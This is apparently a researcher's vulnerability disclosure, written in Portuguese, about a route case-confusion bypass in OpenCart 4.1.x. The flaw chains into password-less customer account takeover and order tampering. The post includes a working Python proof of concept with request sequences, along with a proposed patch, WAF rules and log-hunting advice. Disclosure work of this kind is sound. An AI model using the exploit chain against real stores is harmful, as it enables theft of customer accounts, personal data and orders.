chu@antisec:~/research$

← ../ opencart-api-case-confusion

chu@antisec:~/research$ cat opencart-api-case-confusion.md

opencart 4.1.x — confusão de maiúsculas na rota da api → takeover de conta não autenticado & adulteração de pedidos

cvss v3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — pré-auth, remoto, sem interação do usuário. validado de ponta a ponta contra o 4.1.0.3 num lab em docker.

o opencart protege a api de catálogo com uma comparação de string sensível a maiúsculas no prefixo da rota (api/), mas resolve os controladores sem essa distinção. peça index.php?route=Api/order&call=customer em vez da grafia em minúsculas e o guard nunca dispara — sem allow-list, sem assinatura hmac — enquanto exatamente o mesmo controlador carrega e roda.

esse endpoint faz um login sem senha como qualquer cliente cujo e-mail você conheça (eles são enumeráveis). encadeie com o autorregistro aberto — que cunha um customer_token válido que o login por override não reseta — e você pivota a sua sessão descartável para a conta da vítima e troca a senha dela. sem credenciais, sem interação do usuário. cvss 9.8, e sinceramente, faz jus.


impacto

o que um atacante leva

enumeração de e-mails é trivial numa loja com instalação padrão (erros de "already exists" no cadastro, diferenças na resposta do reset de senha), então isso escala de uma vítima escolhida a dedo para comprometimento de contas em massa. adulterar pedidos é pior do que parece: call=history_add pode virar qualquer pedido para complete/shipped, o que dispara baixa de estoque, liberação de downloads digitais, comissões de afiliados e e-mails de notificação redigidos pelo atacante para clientes reais. se você processa dados pessoais de titulares na eu/br, um atacante anônimo lendo registros de clientes é um problema de gdpr/lgpd, não só uma entrada num bug tracker.

o que isso não é: o painel admin não está nessa cadeia. toda rota admin fora da allow-list de login exige isLogged() + user_token, e não existe primitiva de login admin sem senha. também não encontrei sql injection pré-auth — então nada de rce vindo só desse bug. contas de clientes e pedidos apenas, o que já é bastante.


o bug

duas grafias, um controlador

todo o perímetro da api é uma única comparação na pre-action startup/api, que roda em cada requisição de catálogo. ela decide tudo — allow-list e enforcement de assinatura — a partir da string de rota bruta, com as maiúsculas preservadas:

● upload/catalog/controller/startup/api.php php · o portão inteiro
// only these two routes may use the api, and only with a valid signature
$allowed = ['api/order', 'api/subscription'];

// block direct access to every other api controller
if (substr($route, 0, 4) == 'api/' && !in_array($route, $allowed)) {
    return new \Opencart\System\Engine\Action('startup/api.permission'); // 403
}

if (in_array($route, $allowed)) {
    /* hmac request-signature validation (line 96) — skipped too, see below */
}

peça route=Api/customer e substr('Api/customer', 0, 4) retorna 'Api/' — que não é igual a 'api/'. o bloco nunca dispara, a rota também não está na allow-list, então a checagem de assinatura é pulada junto, a pre-action retorna null e a requisição segue para o dispatch. a mesma checagem sensível a maiúsculas existe no startup/session.php, e é por isso que a requisição que passou pelo guard anda num cookie de sessão normal.

enquanto isso, o router está perfeitamente disposto a carregar esse controlador. a factory constrói um nome de classe a partir da rota e checa com o class_exists() — que não distingue maiúsculas —, e o autoloader converte o caminho para minúsculas antes do include:

● upload/system/engine/factory.php + autoloader.php php · resolução cega a maiúsculas
// factory.php — class name built from the route, checked case-insensitively
$class = 'Opencart\\' . $application . '\Controller\\'
       . str_replace(['_','/'], ['','\\'], ucwords($route, '_/'));
if (class_exists($class)) { return new $class($this->registry); }

// autoloader.php — file path is forced to lower case before include
$file = $dir . trim(str_replace('\\','/', strtolower(...)), '/') . '.php';

então Api/customer vira Opencart\Catalog\Controller\Api\Customer, o autoloader mapeia para catalog/controller/api/customer.php, e o php — cujos nomes de classe já são insensíveis a maiúsculas por natureza — instancia. confirmei em runtime via reflection que o fqcn pedido e o namespace como declarado nem batem no caso (Opencart\Catalog\… pedido vs Opencart\catalog\… declarado no fonte) e o php resolve assim mesmo. o codebase vive apoiado nessa tolerância desde sempre.

uma nuance que vale saber: nem toda grafia mista sobrevive à reescrita de ucwords() + camelCase→snake no autoloader. grafias cujo segmento api tem uma transição interna de minúscula→maiúscula são reescritas para um caminho que não existe:

route case confusion — comportamento por caminho
prefixo da rotaresultado (ao vivo, 4.1.0.3)
api/ (minúsculas)http 403 — guard ativo, assinatura obrigatória
Api/ · API/ · aPi/ · aPI/http 200 — controlador alcançado, bypass
apI/ · ApI/http 404 — classe/arquivo não resolvidos

vetor canônico da poc: Api/. afetados: 4.1.0.0 – 4.1.0.3 e o branch master (4.2.0.0-dev). o 4.0.x traz um guard mais antigo, baseado em api_id, e não tem api/customer.php, então a cadeia de takeover não se aplica lá; o 3.x é uma arquitetura completamente diferente.

browser: route=api/order bloqueado pelo erro de permissão browser: route=Api/order chega ao controlador da api
fig 01 — browser: api/order em minúsculas é bloqueado (à esquerda); Api/order chega ao controlador (à direita).
burp: route=api/order retorna http 403 forbidden burp: route=Api/order retorna http 200 ok
fig 02 — burp, as mesmas duas requisições: api/order → 403 forbidden; Api/order → 200 ok sem assinatura.

fluxo do ataque

registrar, pivotar, resetar
  attacker (no creds, no signature)              opencart 4.1.0.3
    │                                                │
    │  POST /index.php?route=account/register  ─────►│  open self-registration
    │  ◄── customer_token (T) + own session ─────────│  T is valid, attacker-owned
    │                                                │
    │  POST /index.php?route=Api/order&call=customer ─►│  substr('Api/',0,4) != 'api/'
    │       email=victim@example.com                 │  → no 403, no hmac check
    │                                                │  → login($email, '', true)
    │  ◄── 200 "successfully modified customers" ────│  session.customer_id = victim
    │                                                │    T is NOT reset
    │  POST /index.php?route=account/password.save&customer_token=T ─►
    │       password=Pwned-1!                        │  no current password required
    │  ◄── 200 "password updated" ───────────────────│
    │                                                │
    │  ⇒ log in as the victim. account taken over.   │
fig 03 — a cadeia inteira são quatro requisições e um cookie jar.

três decisões do opencart se empilham aqui.

um — o login sem senha. o api/customer existe para ser chamado pela própria camada de integração da loja, então ele simplesmente confia no e-mail que recebe:

● api/customer.php + system/library/cart/customer.php php
// api/customer.php — 3rd arg = $override
$this->customer->login($post_info['email'], '', true);

// cart/customer.php — the password check is skipped when $override === true
if (!$override) { /* password_verify / sha1 / md5 ... */ }
$this->session->data['customer_id'] = $customer_query->row['customer_id']; // authenticated

na requisição seguinte o startup/customer rehidrata a sessão e o isLogged() é true. parabéns, você agora é a vítima.

dois — o token que sobrevive a uma troca de identidade. o login por override define o customer_id e nunca mexe no session.customer_token. as ações da área de conta passam pelo account/login.validate, que só compara o customer_token na url com o que está na sessão — e um token válido é cunhado por qualquer evento de auth, incluindo o autorregistro aberto. ou seja, o token que você ganhou na sua conta descartável continua funcionando depois que a sessão é pivotada para outra pessoa.

três — a troca de senha que não faz perguntas. dentro da área de conta, o account/password.save chama editPassword() sem exigir a senha atual. é aí que mora o takeover: troque a senha da vítima e, se quiser ficar com a conta depois que ela notar, troque o e-mail também.

a adulteração de pedidos é um quarto presente, à parte: api/order&call=history_add desagua no addHistory(), que busca o pedido apenas pelo id — o getOrder() no model/checkout/order.php filtra por order_id sem nenhum escopo de cliente.

burp: registrar uma conta descartável devolve um customer_token válido
fig 04 — (a) o autorregistro aberto devolve um customer_token válido para a conta do próprio atacante.
burp: Api/order&call=customer com o e-mail da vítima retorna success
fig 05 — (b) Api/order&call=customer com o e-mail da vítima — sem senha, sem assinatura — retorna 200 {"success":"You have successfully modified customers"}. a sessão agora é da vítima, e o token de (a) sobreviveu à troca.
burp: account/password.save reseta a senha da vítima sem a senha antiga
fig 06 — (c) account/password.save reutilizando esse mesmo token → reset de senha sem a senha atual: {"success":"Success: Your password has been successfully updated."}
página de conta renderizada mostrando os dados pessoais da vítima
fig 07 — prova: o atacante está dentro da conta da vítima, olhando os dados pessoais dela.

poc

só em lab

primeiro a checagem do guard: route=api/order&call=customer → 403; route=Api/order&call=customer → 200. depois a cadeia, enxugada do script completo (poc_opencart_ato.py, que roteia toda requisição pelo burp por padrão). rode apenas contra a sua própria instância.

● poc_opencart_ato.py python · enxuto · deps: requests
#!/usr/bin/env python3
# poc_opencart_ato.py — opencart 4.1.x api route case-confusion -> account takeover
# affected: 4.1.0.0 - 4.1.0.3 (and master). authorized testing only.

import re, time, requests, urllib3
urllib3.disable_warnings()

def token(name, text):
    m = re.search(name + r'=([a-f0-9]+)', text)
    return m.group(1) if m else None

s = requests.Session()          # one cookie jar, start to finish
attacker = f"attacker_{int(time.time())}@example.invalid"

# [1] register a throwaway account -> mints a valid customer_token (T)
rt = token("register_token", s.get(base, params={"route": "account/register"}).text)
r = s.post(base, params={"route": "account/register.register", "register_token": rt},
           data={"firstname": "Mal", "lastname": "Lory", "email": attacker,
                 "password": "Attacker123!", "agree": "1"})
ct = token("customer_token", r.text)
print(f"[1] registered {attacker} -> customer_token={ct}")

# [2] the case confusion: Api/ skips the gate AND the signature check.
#     password-less override login -> session pivots to the victim, T survives
r = s.post(base, params={"route": "Api/order", "call": "customer"},
           data={"firstname": "x", "lastname": "y", "email": victim})
if '"success"' not in r.text:
    sys.exit("[!] override login failed (patched?)")
print(f"[2] pivoted session to victim '{victim}'")

# [3] reset the victim's password with the attacker's token (no current pw)
r = s.post(base, params={"route": "account/password.save", "customer_token": ct},
           data={"password": new_pw, "confirm": new_pw})
print(f"[3] victim password reset -> '{new_pw}'")

# [4] log in as the victim with the new password. account taken over.

resultado no lab no 4.1.0.3: o hash bcrypt da vítima mudou, e o login com a senha definida pelo atacante funcionou como customer_id=1 — a vítima.


status da disclosure

a parte honesta

status, sem rodeio: sem cve, sem id de ghsa, sem resposta do fornecedor, sem release corrigida. o diff na próxima seção é meu. os detalhes weaponizados completos ficam nesta página limitados ao necessário para entender e defender, e a timeline aqui é atualizada no instante em que qualquer uma dessas coisas mudar.


fix & mitigações

proposto, não mergeado

o fix de raiz é chato de propósito: nunca tome uma decisão de segurança sobre uma string bruta com maiúsculas preservadas que um resolvedor insensível a maiúsculas vai honrar logo em seguida. normalize a rota (ou decida com base na classe do controlador resolvido), e aplique o mesmo no startup/session.php:

● fix-opencart-api-case-confusion.patch diff · proposto pelo pesquisador
--- a/upload/catalog/controller/startup/api.php
+++ b/upload/catalog/controller/startup/api.php
 		$allowed = ['api/order', 'api/subscription'];
+
+		// Normalise the route so the API restriction cannot be bypassed via case
+		// variation such as "Api/customer" (PHP resolution is case-insensitive).
+		$route = strtolower($route);

 		if (substr($route, 0, 4) == 'api/' && !in_array($route, $allowed)) {
 			return new \Opencart\System\Engine\Action('startup/api.permission');
 		}
--- a/upload/catalog/controller/startup/session.php
+++ b/upload/catalog/controller/startup/session.php
-		if (... substr((string)$this->request->get['route'], 0, 4) == 'api/' ...) {
+		if (... substr(strtolower((string)$this->request->get['route']), 0, 4) == 'api/' ...) {
--- a/upload/system/library/cart/customer.php
+++ b/upload/system/library/cart/customer.php
 			$this->session->data['customer_id'] = $customer_query->row['customer_id'];
+
+		// Drop any pre-existing token so an identity change cannot inherit a
+		// token bound to a different account.
+		unset($this->session->data['customer_token']);

defesa em profundidade (para quem mantém)

  • o api/customer não deve fazer login por override fora de um contexto de sessão de api verificado.
  • regenere a sessão e resete o customer_token a cada troca de identidade — um token velho nunca pode seguir um customer_id trocado.
  • o account/password.save e o account/edit deveriam exigir a senha atual ou uma checagem step-up.
  • o getOrder() / addHistory() da api deve escopar pedidos pelo cliente autenticado.

se você roda uma loja opencart 4.1.x hoje

  • bloqueie, no web server ou no waf, qualquer requisição a index.php cujo route bata com (?i)^api/ mas não seja exatamente api/... em minúsculas.
  • desative o usuário da api de catálogo se você não usa ele ativamente.
  • faça hunt para trás: logs de acesso com letras maiúsculas dentro do segmento api da rota, trocas de senha/e-mail sem um account/login.login antes, e inserts de histórico de pedido que não vieram do admin nem de uma chamada de api assinada.